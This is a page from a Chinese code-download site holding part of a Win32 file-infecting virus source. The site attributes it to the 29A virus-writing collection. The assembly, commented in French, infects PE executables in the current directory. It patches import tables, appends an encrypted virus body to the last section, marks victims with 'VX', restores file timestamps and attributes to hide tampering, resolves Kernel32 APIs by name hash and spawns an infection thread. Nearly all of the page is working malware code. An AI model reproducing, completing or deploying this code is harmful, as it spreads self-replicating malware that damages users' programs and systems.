⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 29a-7.015

📁 从29A上收集的病毒源码
💻 015
📖 第 1 页 / 共 3 页
字号:


mov edi,[adr_map_IMAGE_IMPORT_DESCRIPTOR_cible+ebp]

xor eax,eax
stosd			;construction OriginalFirstThunk
stosd			;TimeDateStamp
stosd			;ForwarderChain
add edi,4
mov eax,ebx		;construction FirstThunk
stosd

add ebx,[adr_image_base+ebp]
mov [ptr1_adr_globalalloc+ebp],ebx
mov [ptr2_adr_globalalloc+ebp],ebx


;[Debut de la reconstruction de la table des thunk_data pointee par
;first_thunk]:

mov eax,[adr_map_espace_libre_sect_code_cible+ebp]
push eax
stdcall adr_map_vers_rva,eax
add eax,[adr_image_base+ebp]

mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
mov edi,[adr_map_1st_thunk_k32_cible+ebp]

element_suivant_tab_thunk_data:
stosd
inc eax
loop element_suivant_tab_thunk_data

;[Fin de la reconstruction de la table]



;[Debut de la construction de la "table des push"]:

sub eax,[adr_image_base+ebp]
stdcall rva_vers_adr_map,eax

mov [adr_map_loader_sect_code_cible+ebp],eax

pop ecx
pop edi

;[Determination de l'instruction PUSH qui va etre transferee]:

lea eax,[struct_recherche+ebp]
mov al,[eax.WFD_szFileName]
and al,DERNIER_3_BIT
add al,50h

;[Fin de la determination]

element_suivant_table_push:
stosb
loop element_suivant_table_push

;[Fin de la construction de la "table des push"]



;[Debut de la destruction de l'en-tete de la directory BOUND_IMPORT_DIRECTORY]:

mov edi,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
lea edi,[edi+sizeof.IMAGE_OPTIONAL_HEADER+11*sizeof.IMAGE_DATA_DIRECTORY]
xor eax,eax
stosd
stosd

;[Fin de la destruction]


;[Debut de la routine de transfert des deux parties du virus]:

mov esi,[adr_map_IMAGE_FILE_HEADER_cible+ebp]

movzx ecx,word [esi.FH_NumberOfSections]
dec ecx


mov eax,sizeof.IMAGE_SECTION_HEADER
mul ecx
mov esi,[adr_map_IMAGE_SECTION_HEADER_cible+ebp]
lea esi,[esi+eax]

lea edx,[esi.SH_SizeOfRawData]

mov ecx,dword [edx]

add dword [edx],TAILLE_VIRUS_ALIGNE_FICHIER
add dword [esi.SH_VirtualSize],TAILLE_VIRUS_ALIGNE_MEMOIRE

call aligne

mov edx,[adr_map_IMAGE_OPTIONAL_HEADER_cible+ebp]
add dword [edx.OH_SizeOfImage],TAILLE_VIRUS_ALIGNE_MEMOIRE

mov edx,dword [esi.SH_PointerToRawData]

add edx,ecx

add edx,dword [adr_map_cible+ebp]

stdcall adr_map_vers_rva,edx
add eax,[adr_image_base+ebp]


mov [adr_fin_derniere_sect_hote+ebp],eax

GEN_ALEATOIRE
mov eax,[seed+ebp]
mov byte [clef+ebp],al

mov edi,[adr_map_loader_sect_code_cible+ebp]
lea esi,[debut_loader+ebp]
cld
mov ecx,TAILLE_LOADER
rep movsb

lea esi,[debut_virus+ebp]
mov edi,edx
mov ecx,TAILLE_VIRUS
call crypt


;on marque la cible pour ne pas la reinfecter
mov edi,[adr_map_cible+ebp]
lea edi,[edi.MZ_csum]
mov ax,'VX'
stosw

;[Fin de la routine de transfert des deux parties du virus]

jmp sortie_infection

err_infection:
lea edi,[struct_recherche+ebp]

sub dword [edi.WFD_nFileSizeLow],TAILLE_VIRUS_ALIGNE_FICHIER


;[Debut de la restitution a l'O.S et de la fermeture du fichier cible]:

sortie_infection:

lea edi,[struct_recherche+ebp]
stdcall [UnmapViewOfFile+ebp],[adr_map_cible+ebp]
stdcall [CloseHandle+ebp],[handle_map_cible+ebp]

xor ebx,ebx
mov esi,[handle_fichier_cible+ebp]
stdcall [SetFilePointer+ebp],esi,dword [edi.WFD_nFileSizeLow],ebx,ebx

stdcall [SetEndOfFile+ebp],esi

lea eax,[edi.WFD_ftLastWriteTime]
push eax
lea eax,[edi.WFD_ftLastAccessTime]
push eax
lea eax,[edi.WFD_ftCreationTime]
push eax
push esi
call [SetFileTime+ebp]


stdcall [CloseHandle+ebp],esi

lea eax,[edi.WFD_szFileName]
stdcall [SetFileAttributesA+ebp],eax,dword [edi.WFD_dwFileAttributes]

;[Fin de la fermeture du fichier cible]

if SEH=TRUE
pop dword [fs:0]
pop eax
pop ebp
end if

popad
}

;[Fin de la fonction infectieuse]







;[Debut de la recherche dans le repertoire courant]:


macro	RECHERCHE_CIBLE_DANS_REPERTOIRE_COURANT
{

recherche_cible_dans_repertoire_courant:

pushad

push TYPE_FICHIER_RECHERCHE0
push TYPE_FICHIER_RECHERCHE1
mov eax,esp
stdcall [FindFirstFileA+ebp],eax,edi
pop ecx ecx
mov ebx,eax
inc eax
jz sortie_recherche_fichier

fichier_suivant:

INFECTION

stdcall [FindNextFileA+ebp],ebx,esi
test eax,eax
jnz fichier_suivant

sortie_recherche_fichier:
popad

}

;[Fin de la recherche dans le repertoire courant]



;[Debut du programme hote regulier]:

commencement:

invoke faux_Sleep,DUREE_PAUSE1
invoke faux_ExitProcess,0

;[Fin du programme hote regulier]




__ExitProcess:
push eax
__Sleep:
push eax

execution_fct_k32:
pushad






;[Debut reel du virus]:

debut_virus:

;[Calcul du decalage du a la relocation du code du virus]:

call ici
ici:
pop ebp
sub ebp,ici

;[Fin du calcul du a la relocation]



;Premiere execution du code viral


;[Debut de la recherche de l'adresse de Kernel32]:

db 8bh,15h		;mov edx,[<adr>]
ptr1_adr_globalalloc dd ExitProcess


;[Debut de la remise a zero de l'emplacement dans la section 'data' utilise]:

mov edi,[ptr1_adr_globalalloc+ebp]
xor eax,eax
stosd

;[Fin de la remise a zero]

mov eax,edx

recherche_mz:
dec edx
cmp word [edx.MZ_magic],MZ_MAGIC
jnz recherche_mz

;une signature "MZ" a ete trouvee

mov ecx,edx
mov ecx,dword [ecx.MZ_lfanew]
add ecx,edx
jc recherche_mz

cmp ecx,eax
ja recherche_mz

cmp dword [ecx.FH_Signature],PE_MAGIC
jnz recherche_mz

;[Fin de recherche de l'adresse de Kernel32]

;ecx pointe sur l'en-tete IMAGE_FILE_HEADER de Kernel32
;edx contient l'adresse de Kernel32




;[Debut de la recherche des fonctions de Kernel32 utilisees par le virus]:

;eax pointe sur le debut de la structure IMAGE_DIRECTORY_DATA de la directory
;export:

lea eax,[ecx+sizeof.IMAGE_FILE_HEADER+sizeof.IMAGE_OPTIONAL_HEADER]

mov eax,dword [eax.DD_VirtualAddress]
add eax,edx

mov esi,dword [eax.ED_AddressOfNames]
add esi,edx

or ebx,-1
mov ecx,NBRE_FCT_K32_VIRUS
sub esi,4

recherche_adr_fct_k32_virus:

add esi,4
inc ebx

;[Debut du calcul d'un condense pour le nom de la fonction de Kernel32
;en cours de test]:

pushad
mov esi,dword [esi]
add esi,edx

xor eax,eax
xor ecx,ecx

caractere_suivant:

lodsb
or al,al
jz fin_chaine
add cl,al
rol eax,cl
add ecx,eax
jmp caractere_suivant

fin_chaine:
mov [condense+ebp],ecx
popad

;[Fin du calcul du condense]

;[Debut de la recherche du condense dans la table des condenses pre-calcules
;des fonctions de Kernel32 utilisees par le virus]:

push eax
push ecx
mov eax,[condense+ebp]
mov ecx,NBRE_FCT_K32_VIRUS
lea edi,[tab_condense+ebp]
repne scasd
pop ecx
pop eax
jnz recherche_adr_fct_k32_virus


;[Fin de la recherche du condense dans la table]


;[Recuperation de l'adresse de la fonction de Kernel32 dont le condense du nom
;est dans la table]:

pushad
mov ecx,dword [eax.ED_AddressOfNamesOrdinals]
add ecx,edx

movzx ebx,word [ecx+2*ebx]

mov ecx,dword [eax.ED_AddressOfFunctions]
add ecx,edx

mov ecx,dword [ecx+4*ebx]
add ecx,edx

add edi,4*NBRE_FCT_K32_VIRUS-4
mov dword [edi],ecx

popad

;[Fin de la recuperation de l'adresse de la fonction de Kernel32]

loop recherche_adr_fct_k32_virus

;[Fin de la recherche des fonctions de Kernel32 utilisees par le virus]





;[Debut de la recuperation des adresses des fonctions de Kernel32 utilisees
;par l'hote]:

mov esi,[rva_orig_1st_thunk_avant_infection_hote+ebp]
add esi,[adr_image_base+ebp]

lea edi,[tab_adr_fct_k32_hote+ebp]

explore_struct_import_by_name_k32_hote:

lodsd
test eax,eax
jz fin_recuperation_fct_k32_hote

add eax,[adr_image_base+ebp]

pushad
lea ebx,[eax.IBN_Name]
stdcall [GetProcAddress+ebp],edx,ebx
mov dword [esp+28],eax
popad			;seulement eax est modifie


stosd
jmp explore_struct_import_by_name_k32_hote

fin_recuperation_fct_k32_hote:

;[Recuperation de la fonction de Kernel32 dont la structure
;IMPORT_BY_NAME a ete changee pour accueillir le nom GlobalAlloc]:

pushad
lea ebx,[sz_nom_fct_k32_altere_hote+ebp]
stdcall [GetProcAddress+ebp],edx,ebx
mov ecx,[index_fct_k32_altere_hote+ebp]
lea edi,[tab_adr_fct_k32_hote+4*ecx+ebp]
stosd
popad


;[Fin recuperation de la derniere fonction de Kernel32 de l'hote]

;[Fin de la recuperation des adresses utilisees par l'hote]



;[Debut de la restauration de la table pointee par ID_FirstThunk, telle qu'elle
;serait apres demarrage de l'hote qui n'aurait pas ete infecte]:

mov ecx,[nbre_fct_k32_cible+ebp]
push ecx
shl ecx,2

lea eax,[tampon+ebp]
mov ebx,[adr_1st_thunk_avant_infection_hote+ebp]
stdcall [VirtualProtect+ebp],ebx,ecx,PAGE_EXECUTE_READWRITE,eax

pop ecx

lea esi,[tab_adr_fct_k32_hote+ebp]
mov edi,ebx
cld
rep movsd

;[Fin de la restauration de la table]



;[Debut de creation de la thread infectieuse]:

lea esi,[thread_id+ebp]
lea edi,[proc_infectieuse+ebp]
xor eax,eax
stdcall [CreateThread+ebp],eax,eax,edi,eax,eax,esi

;[Fin de la creation de la thread]



;[Determination de l'adresse de la fonction de Kernel32 appelee par l'hote]:

renvoi_vers_fonction_appele:

;transfert du contenu des 8 premiers elements de la pile qui proviennent d'un
;PUSHAD

mov esi,esp
xor ecx,ecx
mov cl,8
cld
lea edi,[tampon_registre+ebp]
rep movsd

add esp,4*8

;on compte le nombre d'elements semblables consecutifs dans la pile

xor ecx,ecx
inc ecx

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -